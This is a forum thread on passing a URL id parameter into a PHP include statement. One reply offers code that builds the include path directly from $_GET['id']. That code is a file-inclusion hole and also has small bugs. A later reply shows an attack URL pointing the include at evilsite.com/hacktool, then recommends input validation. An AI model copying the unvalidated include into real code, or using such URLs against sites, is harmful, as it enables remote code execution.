Forum Moderators: coopster
I wanna have a plain old HTML file with the contents that I will load when I use something like <?php include ("file_id.php4")>. Basically what I would like to know is how to pass the value of the id given in the address bar to a include statement in PHP. Hope you guys get the idea.
Thanks in advance.
What happens after that? First of all, you won't be able to do this with a plain old HTML document. You'll need to make it a php document. Then, using the example above you use the $_GET variable to retrieve the passed value and take whatever action you want based on that value. So your new php document will have something like this, usually near the top of the code.
<?php
$id = $_GET['id'];
$include_file = $id . 'php';
?>
Regular html stuff
Time to display the included content for that page.
<?php include ('$include_file');?>
More regular html stuff.
Hope that helps.
You should always validate and clean input to your scripts. Some useful hints can be found in our own library at PHP Security [webmasterworld.com].
$id = $_GET['id'];
$include_file = $id . 'php';
that's one is extremely vulnerable especially if you have url_fopen wrappers enabled.
Just an example:
mypage.php?id=http://evilsite.com/hacktool
$id = $_GET['id'];
$include_file = $id . 'php';
the code will include the hacktool script and can make a lot of troubles :)
Always validate the user input.
If you expect the ID to be an integer, do a simple chek like is_numeric($id)
Another option would be to make some switch() construction.
switch($id){
case "1":
include('file1.php')
break;
case "2":
include('file2.php')
break;
default:
include('defaultfile.php')
break;
}
try this
[php.net...]
The PHP manual pages have a search tool where you can search for any function. It is near the upper right of the page. Yes, is_numeric() [php.net] is a function.